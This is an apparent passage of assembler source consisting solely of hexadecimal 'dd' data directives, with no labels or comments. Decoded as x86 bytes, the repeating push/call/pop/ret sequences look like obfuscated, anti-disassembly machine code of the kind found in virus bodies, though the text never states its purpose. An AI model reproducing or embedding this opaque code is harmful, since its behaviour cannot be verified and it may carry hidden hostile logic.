		dd 18042444h, 43000000h, 0DC43C353h, 0FF01F18Ah, 130DA995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 23BDF35h, 8B660A1Bh, 6A90F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894D29C3h
		dd 1304FDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0AA6E4A78h, 1387A2Fh, 131AC1BDh
		dd 9A13BE06h, 6A0873h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E0DB62C3h, 0C731727Dh, 858D292Eh
		dd 6A061323h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 70DC352h, 65579227h, 6A32B726h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 60A7C356h, 25498D33h, 95890613h, 6130DD9h
		dd 62D9D89h, 0EB810613h, 59CBEF81h, 0FE96061h, 9A000000h
		dd 85007989h, 0B4A89935h, 261BDE69h, 0B58B431Dh, 6130DBDh
		dd 30D8BB66h, 9DBD8B61h, 6006132Fh, 23D78166h, 359D896Ah
		dd 89061319h, 130FD5BDh, 53E96106h, 2BFFFFF7h, 13307DBDh
		dd 0C18BFC06h, 0C258589h, 8D290613h, 613299Dh, 104EBh
		dd 8B0F0000h, 6, 176DBD2Bh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1E39A6C3h
		dd 0F03E2EFEh, 0A9858D1Fh, 8B06131Eh, 130DA5B5h, 0C6816606h
		dd 5090197Bh, 0EE85152h, 0C1000000h, 0B500C90Bh, 0A26B41F8h
		dd 0CE3D1FADh, 0F5E5F3Eh, 50585A31h, 4E4ABF66h,	7DB58B90h
		dd 6A06130Ah, 0C98D8900h, 6A06131Ah, 0AD8D8900h, 8D06130Bh
		dd 17003285h, 0F28B6606h, 5605C083h, 2C058D89h,	905E0613h
		dd 14E9h, 2297FA00h, 157D5512h,	4B272655h, 5B36162Ch, 0AF2057A7h
		dd 14E85041h, 0DA000000h, 9FBAAF13h, 30DDBBB1h,	0DE3428ABh
		dd 46C620F8h, 0E940226Dh, 8, 11758AC8h,	73B89833h, 8B60905Eh
		dd 91950BC1h, 61061310h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 68CADCC3h, 5FBCAB14h
		dd 6ABF1DEAh, 870F00h, 0FF000000h, 1307F195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 2EF322BEh, 0D1910119h, 0BD8B7FEAh, 61323A5h,	0A36A9D8Dh
		dd 0BF660616h, 0D3FF3C60h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0CFC35747h, 3DB0BE66h, 16D985FFh, 6A0613h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0D4F58CC3h, 6D8D892Bh, 66061323h, 89C4D681h,	81BE9h
		dd 0E800h, 815D0000h, 17003CEDh, 0F08B6606h, 0B21BD81h
		dd 7D00613h, 860F0000h,	16Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 9FC35545h, 6399D8Bh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D8902C3h, 6130F01h,	100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E5AF44C3h
		dd 0C70BA7BFh, 0F9BD8B18h, 0B061320h, 0A8850FDBh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0F35AC352h, 0DE9C6h, 0FE720000h, 38D0861Ah
		dd 0E9786F89h, 835E6934h, 16FE98BDh, 840F0006h,	49h, 0D850360h
		dd 0F06131Bh, 684h, 0D1B58900h,	61061306h, 81E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 2ABBD854h, 7A01C09Bh, 81BD8B1Ah, 2306132Bh, 1305B1BDh
		dd 9885C706h, 10616FEh,	0E9000000h, 8, 0D66AB7EEh, 48F64F42h
		dd 35E9h, 898D3100h, 0C7061301h, 16FE9885h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 54725ECCh, 0F7B1A3ECh, 9D8D6BBCh, 6130639h, 8BF28B66h
		dd 1313C9BDh, 0FF238106h, 9FFFFFEh, 1328C99Dh, 0DB8C6606h
		dd 13E9h, 7E155C00h, 0AA6A2385h, 5EFB1503h, 1F9DF327h
		dd 0BE34C82Dh, 0F04C3F6h, 5384h, 9858900h, 0FF06131Eh
		dd 13211195h, 9BD8B06h,	9006132Dh, 88A0Fh, 800F0000h, 2
		dd 9050F28Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0DAC35747h, 59327264h, 17FA4F96h, 830Fh, 0B5330000h
		dd 61325D9h, 3E9E9h, 580FBE00h,	0B0729Bh, 11E8h, 922C0700h
		dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0F98BE959h, 6A70E65Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0C05AC353h, 0DE9CB096h, 7D86B150h, 16218D29h
		dd 71E40613h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	77C35545h, 4A6B691Bh, 17DF019Fh, 0F18B66A0h, 66D8B60Fh
		dd 6BAF38Bh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 23BBC350h, 0E2DE5E80h
		dd 3F484709h, 8BF88B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 8E911h, 63880000h, 993E69D4h
		dd 0E8C14CA3h, 919D0904h, 6606130Fh, 0BD89E2F7h, 61331A9h
		dd 0BF0FD82Bh, 525093F8h, 8E9935Eh, 0E4000000h,	8B379C97h
		dd 19C1084h, 1306C59Dh,	21B5FF06h, 106130Bh, 1317199Dh
		dd 0A995FF06h, 906130Dh, 130545B5h, 6A00B006h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0A022C351h, 0E99C91D2h, 8589E860h, 6131BA1h,	6A70E6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A560DCC3h, 60288822h, 0B618D89h, 0AE80613h,	1D000000h
		dd 3FFD1DB0h, 0C6DFEA31h, 0F0BF0F2Bh, 5FBE6159h, 0E4008F08h
		dd 3FB66071h, 0E8C9D3BFh, 613C6115h, 24C830Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 2CCDBDC3h, 0B58B1410h, 613015Dh, 0B1C68166h,	0D8B60FDCh
		dd 14E9h, 0BE9F0100h, 904C4C6h,	0BA0FFE61h, 0A24D1AFFh
		dd 685F3AFh, 6BADBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 1C73A6C3h, 0FB1D0E00h
		dd 8B111786h, 0B00BBEC3h, 0E8C11E78h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0DFA61F50h, 0F69F162h, 8Fh, 0C8C0F00h, 0E9000000h, 7
		dd 177FC4CFh, 668EDB40h, 0E856E2F7h, 0Ah, 4AC40B2h, 6A7FA131h
		dd 8E9B8EEh, 0E1000000h, 53BEA2E2h, 5E180768h, 6AD82B5Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0AF12C356h, 205E8AA3h, 10EE4ACh, 131789BDh
		dd 0B5BD8B06h, 58061321h, 118F0Fh, 8E80000h, 0B8000000h
		dd 3A3D33A4h, 66170BD7h, 2B5EF08Bh, 23880FD8h, 0B9000001h
		dd 7, 48C0Fh, 0BE660000h, 0C183C504h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 73BB1FFBh, 3B20EC03h, 0E7860FD9h, 66000000h,	6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0BF575CC3h, 567A9539h, 0F04C1F6h, 9384h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C50A113Ah, 84E8A1D0h, 58D0Fh, 81660000h, 0FF9F5ADEh
		dd 13211195h, 0F9D78106h, 30469DBh, 132559BDh, 0B58B5B06h
		dd 6130D4Dh, 2BAD9D29h,	0C32B0613h, 13719D89h, 343D0613h
		dd 0F000008h, 3386h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6880F30h, 8B000000h, 131B69BDh
		dd 2CE906h, 85890000h, 6131961h, 0B533C08Bh, 6132FB1h
		dd 18830Fh, 13E90000h, 81000000h, 33A049FAh, 20DD2BF9h
		dd 0A6F45635h, 0DE1B36D6h, 0C38BA815h, 0B589D88Bh, 61313FDh
		dd 111185C7h, 0F91B0613h, 95893DF1h, 6130AA9h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 226B6C3h, 0BD815F18h, 6130B21h, 7D0h, 34850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3E9766C3h, 20BF883Fh, 0D21BD8Bh, 85FF0613h, 6130B21h
		dd 0D9B58Bh, 0B5FF0613h, 6130B21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 12C35646h, 0DB9BBFA2h, 95FF6802h
		dd 6130DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A8C35343h, 0B6730097h,	1CE1B52Bh, 0E9900613h
		dd 0Ch,	76969EC3h, 96E68FC3h, 289F5B0Eh, 52006AF5h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0E01170B2h, 324DB533h, 0D7810613h, 2460C4E0h, 0E69CBF66h
		dd 0B8C0Fh, 81660000h, 8BF61FD7h, 1324CDB5h, 0E5858906h
		dd 0E8061305h, 5, 0E3F93BCCh, 15B52385h, 5F06132Ah, 0E1BF6650h
		dd 6A5FE7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 1D66AC3h,	13317585h, 7D9D8906h, 6A06131Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A980C357h, 2318468Bh, 2963214Fh,	131ECD95h
		dd 99B52B06h, 0F506132Bh, 4D44EBFh, 0CD958972h,	60061324h
		dd 68A0Fh, 8D090000h, 6131FA5h,	23619D89h, 1FB50613h, 0DD19D89h
		dd 8B610613h, 130A75BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 7AC95546h, 27C1DD12h
		dd 0F81BE97Ch, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0E11D4CC3h, 0ADFB3214h, 9E9h, 80629C00h
		dd 74549A67h, 9D89CC4Dh, 6133029h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 55625BC3h
		dd 59A3D4CDh, 0EB01BB45h, 104h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0FBC84ADAh
		dd 55006A43h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 80E7EF87h, 6E1AD672h, 1B699589h,	858D0613h
		dd 6131EA9h, 78D8531h, 0F500613h, 285h,	89F78B00h, 0BE662404h
		dd 6A2E37h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Dh,	68C35545h, 0A0239B6Bh, 3F69A70Dh, 0FABF0FCDh, 11D9BD29h
		dd 6A0613h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	29C35242h, 0A046E324h, 8B660216h, 19858DF3h, 6A06170Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 833FC355h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8A0FADC3h, 3,	50F98B66h
		dd 0DA8B6660h, 24048961h, 8A60F18Bh, 51858BD9h,	61061301h
		dd 0DDBF006Ah, 6A47C939h, 0F195FF00h, 6A061307h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 4FC7C353h, 7921C525h, 0C88A60A8h, 68D0Fh, 0D6810000h
		dd 37F8D0B5h, 6A9D8D61h, 660616A3h, 0FF3D2CBEh,	55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 66F3795Ah, 8D89F78Bh, 6130AF1h, 16D985FFh, 0D4BF0613h
		dd 0E9488AFAh, 81Dh, 0E8h, 0ED815D00h, 6170A23h, 81F9BF0Fh
		dd 130B21BDh, 7D006h, 7C860F00h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E923C352h
		dd 14h,	3D1BABB1h, 48E8C592h, 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch
		dd 2CD59D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 794DFBC3h, 29AD9589h, 0E3810613h
		dd 100h, 11E98D89h, 0DB0B0613h,	83850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 651398C3h, 0BCF6CBEAh, 81661EF8h, 838FFAEFh,	17087BBDh
		dd 840F0006h, 17h, 13B5BD89h, 5EE90613h, 0F000000h, 68Bh
		dd 9BD0B00h
		dd 0C706130Fh, 17087B85h, 106h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 80185DEAh
		dd 22E9D27Dh, 81000000h, 0A2A8F0E7h, 7B85C760h,	61708h
		dd 0F000000h, 0C80h, 6800F00h, 2B000000h, 132981B5h, 0D59D8D06h
		dd 6A06132Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CDF9C350h, 8E8h, 0FA384B00h
		dd 8E6E26CAh, 45B53351h, 5E06132Ah, 0FEFF2381h,	6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B72977C3h, 968BD9BFh, 8BFC2CD9h, 8D0FF3h, 66000000h
		dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 6B68C7C3h, 0DA0239Bh, 0BE3F69A7h,	2FAD8B58h
		dd 0E65B503h, 0C3F60613h, 6B840F04h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0FFEFC353h, 13211195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 59D75859h
		dd 514DE381h, 5790F8DCh, 7E8505Eh, 61000000h, 1424FC71h
		dd 830F40B7h, 6, 850Fh,	905F0000h, 0DD1B589h, 0EAE90613h
		dd 89000003h, 132B4185h, 6A00B006h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 6672C350h
		dd 0E612D7BEh, 71E4F570h, 1605B533h, 0B60F0613h, 49B58BD8h
		dd 0BA061317h, 6, 1681BD89h, 0C38B0613h, 0C1FB8B66h, 6A04E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0AE2A24C3h, 0F18BC7E1h, 66E2F766h, 2BD985BFh, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 937B6747h, 0CE860h, 68950000h, 92254A69h, 8DB2705Dh
		dd 5957C762h, 38E0F59h,	66000000h, 5061FE8Bh, 0BDB52993h
		dd 0FF06132Eh, 130B21B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C86F19A4h
		dd 73FD89E6h, 0C58D291Dh, 0FC06130Dh, 0B61B58Bh, 95FF0613h
		dd 6130DA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	40C35040h, 0A0E23F98h, 0D7180A92h, 0A66EBF66h
		dd 25D1B58Bh, 0B00613h,	10E8h, 49E75E00h, 865CD10Bh, 9D3E0532h
		dd 0CAFB617Ch, 6840FDDh, 0F000000h, 82h, 70E65F00h, 128A0Fh
		dd 0DE90000h, 0E9000000h, 0EC70B744h, 55745CFFh, 0CAF145EFh
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 35B547C3h, 830F613Ch, 259h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0CEC35747h, 88BF9193h
		dd 66609892h, 0F6AFE781h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6916C355h
		dd 97880758h, 68A0Fh, 0B58B0000h, 6131741h, 6BAh, 8BF38B00h
		dd 5CF781C3h, 0C173169Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B45B6C3h, 130DD1BDh
		dd 0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	2EC35141h, 8EEE8166h, 0F2BF0F3Fh, 9529D82Bh, 6131DADh
		dd 6810F58h, 8B000000h,	133045B5h, 0FD82B06h, 18888h, 0BE900h
		dd 9A440000h, 5AECBD93h, 8BCB15D3h, 7B948h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 60B28C3h, 1F45BD01h,	0C1830613h, 0AE800h, 0F0800000h
		dd 0CF2EF1E1h, 0F9D04D30h, 45DE8166h, 0D93B5F8Eh, 12F860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 5A1C0DC3h, 0D98C6663h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 1DC35747h, 0ABFD2AEh, 0E9F9B503h
		dd 11h,	4BD0CFCEh, 0CCA841B7h, 3594B863h, 14428D92h, 4C1F685h
		dd 0A2840Fh, 0BF660000h, 95FF1759h, 6132111h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1CC35343h, 24CD2547h
		dd 800F4287h, 5, 2CEF8166h, 8D895BA2h, 6131145h, 0F78BC32Bh
		dd 8343Dh, 55860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2FDC351h, 3564333Dh
		dd 0FE99F62h, 38Fh, 0F38B6600h,	4CE9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0B58B923Dh, 6131CCDh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0E43885C3h, 8910498Ah
		dd 131DADBDh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 7479257Bh, 9CD6C10h, 130EB58Dh
		dd 3985C706h, 0F7061306h, 0BF7E0D5Dh, 6615D95Fh, 8166C08Bh
		dd 81FBCDE7h, 130B21BDh, 7D006h, 0D850F00h, 0F5000000h
		dd 349DB58Bh, 85FF0613h, 6130B21h, 0B21B5FFh, 0BD8B0613h
		dd 6130D11h, 0DA995FFh,	6A0613h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCE76BC3h, 2A4DBD89h
		dd 0F900613h, 8Dh, 0B9B58B00h, 31061300h, 1313D995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 59C6815Bh, 0BF08C9D3h, 4AA279B5h, 3C54E681h,	6A54ADh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0AEEA46C3h, 870FA1h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B3E1C357h
		dd 808BA33Eh, 8B131D36h, 1325DDBDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 44239F5Ch
		dd 0F8367551h, 0ED9589C8h, 6A06131Dh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E18AC351h
		dd 0E9237E8Bh, 13h, 0C03AEC9Dh,	0D93B6CB6h, 0B2D3491Fh
		dd 19A4EEDEh, 6AE6C86Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E926C357h,	0Dh, 11B8D620h
		dd 45622B78h, 0F49D46F6h, 0E9F98BE7h, 0FFFFF814h, 0DE8h
		dd 534D8500h, 0F10D72E1h, 0A1A5A902h, 8D89EBABh, 6131311h
		dd 0DE95Fh, 950E0000h, 49BC1D69h, 0C8505F82h, 89DB59E1h
		dd 131F09BDh, 89C18B06h, 131B6D9Dh, 104EB06h, 66000000h
		dd 0B9C4CE81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	80C35646h, 7F02F7C7h, 10D9BD33h, 0CF810613h, 77BA7BA4h
		dd 1EA9858Dh, 0BF660613h, 605035F9h, 11E8DC8Ah,	7B000000h
		dd 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h, 6159CE8Bh
		dd 0F240489h, 58Bh, 0C6816600h,	6A54E1h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0D6C35545h, 8B4ED891h
		dd 1323A1B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0FA73C352h,	0EF858D73h
		dd 89061713h, 13177D8Dh, 0C7DE8106h, 834DFE8Bh,	6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 899AE6C3h, 132965B5h, 50565006h, 5E852h, 62020000h
		dd 5EF4C5F6h, 585A310Fh, 2404895Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 48C35747h, 0EEFB0571h, 0FAB70F3Fh
		dd 1ED1B58Bh, 6A0613h, 10E9h, 42A8C700h, 24090161h, 0E5075C3h
		dd 0E646412Dh, 6A006AAFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF3CC351h,	1307F195h
		dd 79BD0306h, 8D061312h, 16A36A9Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C9C4912Ah
		dd 0BA29BFBFh, 29D3FF70h, 13353995h, 0D985FF06h, 89061316h
		dd 132CB9B5h, 7CCE906h,	0E80000h, 5D000000h, 13F9ED81h
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0AFBB7BC3h, 7E8CAF2h, 49000000h, 27EC5838h
		dd 953195A1h, 6132819h,	21BD815Fh, 0D006130Bh, 0F000007h
		dd 19A86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BF66E14Ah, 9D8B7DABh, 6133251h
		dd 0E381FCh, 6A000001h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 37F1C357h, 3C8C0C46h
		dd 0B375F7Fh, 0D6850FDBh, 0F000000h, 688h, 0D9952900h
		dd 83061306h, 171245BDh, 840F0006h, 44h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 93C35343h, 8975A47Ah
		dd 13113D85h, 858D8906h, 0E9061319h, 0B7h, 0FE9h, 9A399A00h
		dd 8B392DF6h, 8E48636h,	459FEE9Bh, 124585C7h, 10617h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 9DEB8CC3h, 0C2C7E587h, 85FBBFE4h, 6CE927DCh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E901C351h, 8, 0FC221182h, 40A73ECFh, 14E9h
		dd 0BFF7FA00h, 91CD4019h, 28B5B065h, 281AC02Eh,	6743B5EDh
		dd 4585C767h, 61712h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 8ABC352h, 8D465F08h
		dd 1332519Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F10F0E9h, 81F5F6B7h, 0FFFEFF23h
		dd 0BE8FFh, 0DDC20000h,	6EFD72F1h, 221DBF5Bh, 665EF810h
		dd 0F6FCDB8Ch, 840F04C3h, 63h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0B2C35747h,	8A5F9C3Fh, 5EA97F2h
		dd 9F2B70Fh, 13110D85h,	1195FF06h, 8B061321h, 800F50F3h
		dd 2, 489FB8Bh,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0DDB58B03h, 0E9061316h
		dd 3EFh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 14h,	0D9C35646h, 0B0F28B66h,	61B58B00h, 0E6061323h
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 6F578C15h, 93DB1386h, 8971E4ECh,	130619BDh
		dd 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	1CC35646h, 0CE01CC06h, 5A77361Ah, 219D896Ch, 66061316h
		dd 6BAF18Bh, 31000000h,	132EBD9Dh, 89C38B06h, 130F599Dh
		dd 4E8C106h, 208DBD8Bh,	0F7660613h, 0D78166E2h,	0D82B70E7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0AFC35141h
		dd 533F4F01h, 0BE934B9Bh, 51E82AA9h, 2A19BE50h,	6A930F0Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0D812C351h, 0BD8BBB19h, 6130E55h,	0B21B5FFh
		dd 9D090613h, 6133151h,	0DA995FFh, 870F0613h, 6, 30318D89h
		dd 0B00613h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	96C35646h, 597537Bh, 39621781h,	68F0F12h, 29000000h
		dd 131F19B5h, 8B70E606h, 6A71E4F2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F18AC355h
		dd 0F373901h, 613CFFB7h, 26D830Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 37621DC3h
		dd 23AB0701h, 132135BDh, 0D8B60F06h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 8BC35242h, 7350B09Ah, 0F345F86h
		dd 388h, 0F7BF0F00h, 6BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0A67D2C48h
		dd 81F68E8Dh, 0F65E63EFh, 0CE96Bh, 0CA990000h, 0B261F503h
		dd 5E123514h, 0C38B9738h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0DFC35545h, 0D2694095h, 558589A0h, 0C106130Eh
		dd 0F76604E8h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0CB00FF00h, 2958D82Bh
		dd 131D55BDh, 0FD82B06h, 17A88h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 3A0662F2h
		dd 0E15F99C2h, 0B529B5C6h, 613011Dh, 7B9h, 0F78B6600h
		dd 6600C183h, 3BF858BFh, 38860FD9h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E0C3C357h, 0DE9EB95h, 56000000h, 5993B6A1h,	0AB5F83D5h
		dd 3C086FD9h, 8BD98C66h, 130C69B5h, 4C1F606h, 0BF840Fh
		dd 0BE80000h, 35000000h, 10699ECCh, 0FBB1DF8Bh,	8E0F2BFAh
		dd 6, 3549B58Bh, 0FF5F0613h, 13211195h,	56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 8953C4D1h, 130A8585h, 6A5B5F06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0ADABC357h
